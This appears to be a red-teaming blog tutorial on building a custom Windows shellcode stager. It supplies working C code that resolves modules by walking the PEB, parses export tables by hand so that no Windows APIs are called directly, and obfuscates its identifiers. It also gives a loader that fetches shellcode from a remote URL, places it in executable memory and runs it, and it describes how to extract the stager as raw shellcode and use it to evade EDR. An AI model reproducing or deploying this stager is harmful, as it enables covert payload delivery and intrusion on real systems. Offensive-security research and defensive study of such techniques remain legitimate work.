In cyber security, shellcode is typically referred to as a compact and highly specialised segment of code designed to perform a specific function, usually as a payload in the exploitation of a software vulnerability. Written in low-level languages like assembly, shellcode is engineered to run directly in memory, eliminating the need to write files to disk.
This article mainly highlights the process of building your own shellcode stager with customised functions, focusing on essential techniques that avoid direct calls to Windows APIs.
Despite advancements in cyber defence tools, the fundamental principles of developing effective malware remain unchanged. By leveraging these methods, attackers and cyber researchers can still attempt to evade the advanced detection mechanisms employed by modern security solutions in 2025.
Crafting your own shellcode
In the context of shellcode crafting, it is often recommended to resolve the addresses of specific modules and functions dynamically, which can be achieved by implementing custom functions that mimic the behaviour of the Windows API functions.
For example, by implementing custom functions like PdGetModuleHandle and PdGetProcAddress below, your program will be able to dynamically resolve module and function addresses without directly calling the Windows API.
The first PdGetModuleHandle
function is designed to retrieve the base address of a loaded module in memory by iterating through the list of modules in the Process Environment Block (PEB). The function compares the module name with each entry in the loaded module list, and if a match is found, it returns the module’s base address.
HMODULE PdGetModuleHandle(LPCWSTR lpModuleName){
#ifndef _WIN64
PPEB pebWalk = (PPEB)__readfsdword(0x30); //x86
#else
PPEB pebWalk = (PPEB)__readgsqword(0x60); //x64
#endif
PLIST_ENTRY Hdr = &pebWalk->Ldr->InLoadOrderModuleList;
PLIST_ENTRY Ent = Hdr->Flink;
for (; Hdr != Ent; Ent = Ent->Flink){
PLDR_DATA_TABLE_ENTRY Ldr = (PLDR_DATA_TABLE_ENTRY)(Ent);
if (wcmp(Ldr->BaseDllName.Buffer, lpModuleName)){
return (HMODULE)Ldr->DllBase;
};
};
return NULL;
};
The second PdGetProcAddress
function gets the address of a function within a loaded module by manually parsing the module’s export directory. It begins by accessing the module’s DOS and NT headers to locate the export directory. If the export directory is present, it iterates through the list of exported function names, comparing each name with the given pdLProcName
. When a match is found, the function returns the address of the corresponding function.
FARPROC PdGetProcAddress(HMODULE hModule, LPCSTR pdLProcName){
PIMAGE_DOS_HEADER Hdr = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS Nth = (PIMAGE_NT_HEADERS)((DWORD_PTR)Hdr + Hdr->e_lfanew);
PIMAGE_DATA_DIRECTORY Dir = &Nth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (Dir->VirtualAddress){
PIMAGE_EXPORT_DIRECTORY Exp = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)Hdr + Dir->VirtualAddress);
PDWORD Aons = (PDWORD)((DWORD_PTR)Hdr + Exp->AddressOfNames);
PDWORD Aofs = (PDWORD)((DWORD_PTR)Hdr + Exp->AddressOfFunctions);
PWORD Aonos = (PWORD)((DWORD_PTR)Hdr + Exp->AddressOfNameOrdinals);
for (ULONG Idx = 0; Idx < Exp->NumberOfNames; ++Idx){
if (cmp((PCSTR)((DWORD_PTR)Hdr + Aons[Idx]), pdLProcName)){
return (FARPROC)((DWORD_PTR)Hdr + Aofs[Aonos[Idx]]);
};
};
};
return NULL;
};
As a result of calling those two custom functions, the code snippet below is able to dynamically load Kernel32.dll
and Wininet.dll
libraries and resolve the addresses of specific functions within them.
HMODULE hK32 = PdGetModuleHandle(k32d11); // Kernel32.dll
auto lpL1bA = (pLoadLibraryA)PdGetProcAddress(hK32, l1bA); // LoadLibraryA
auto lpVal0c = (pVirtualAlloc)PdGetProcAddress(hK32, vAl0c); // VirtualAlloc
HMODULE hW1nIn1t = lpL1bA(w1nIn1t);
auto lpInTerRntOpnA = (pInternetOpenA)PdGetProcAddress(hW1nIn1t, inTerRntOpnA); // InternetOpenA
auto lpInTerRntOpnUr1A = (pInternetOpenUrlA)PdGetProcAddress(hW1nIn1t, inTerRntOpnUr1A); // InternetOpenUrlA
auto lpInTerRntRdF1le = (pInternetReadFile)PdGetProcAddress(hW1nIn1t, inTerRntRdF1le); // InternetReadFile
The following code snippet demonstrates how to initiate an Internet session, download shellcode from a remote URL, allocate executable memory, and execute the shellcode stored in memory. This process involves using function pointer casting to invoke the downloaded shellcode dynamically, which is a common technique in exploitation scenarios.
HINTERNET hInternet = lpInTerRntOpnA(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
HINTERNET hRemotAddr = lpInTerRntOpnUr1A(hInternet, rem0teUr1, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 0);
if (hRemotAddr) {
DWORD len = 1024 * 1024 * 10;
PUCHAR buf = (PUCHAR)lpVal0c(0, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
DWORD nread;
lpInTeRntRdF1le(hRemotAddr, buf, len, &nread);
if (nread) {
((void(*)())buf)();
}
}
Converting your shellcode to a hex array code and/or a raw binary file
At this stage, your shellcode stager can be built in a standard PE format. However, your PE file is also ready to be converted into a hex array code after compilation. For demonstration purposes, we will use ImHex Editor (available at https://github.com/WerWolv/ImHex) to open the file and only export.text
and .rdata
sections as hex array shellcode.
- The
.text
section is primarily for executable code. - The
.rdata
section holds constant or static read-only data, such as string literals and import information.
Alternatively, you might also want to use 010 Editor (available at https://www.sweetscape.com/010editor/) to export.text
and .rdata
sections as a raw binary file. Then, you can use open-source tools such as runshc64.exe (https://github.com/hasherezade/pe_to_shellcode) to quickly test your shellcode execution.
Benefits to your Red Teaming exercises
Building a customised shellcode stager, as demonstrated in the provided code snippets, offers several benefits to your offensive security assessments or red teaming exercises. These include enhancing stealth and evasion, enabling dynamic payload delivery, reducing payload size, and providing modularity and reusability.
In terms of attack-based threat hunting, such benefits are also crucial for simulating real-world attack scenarios and assessing the effectiveness of your corporate security defence in practice.
Please note that this article does not aim to discuss any new techniques for bypassing EDR protection. Despite advancements in modern EDR solutions and AI-driven defence, a customised shellcode stager — whether loaded via a PowerShell script in hex format, through LOLBins, or via direct PE execution — remains effective in executing post-exploitation steps to achieve objectives during red teaming exercises.
As usual, I hope you find this article useful, and thank you for reading.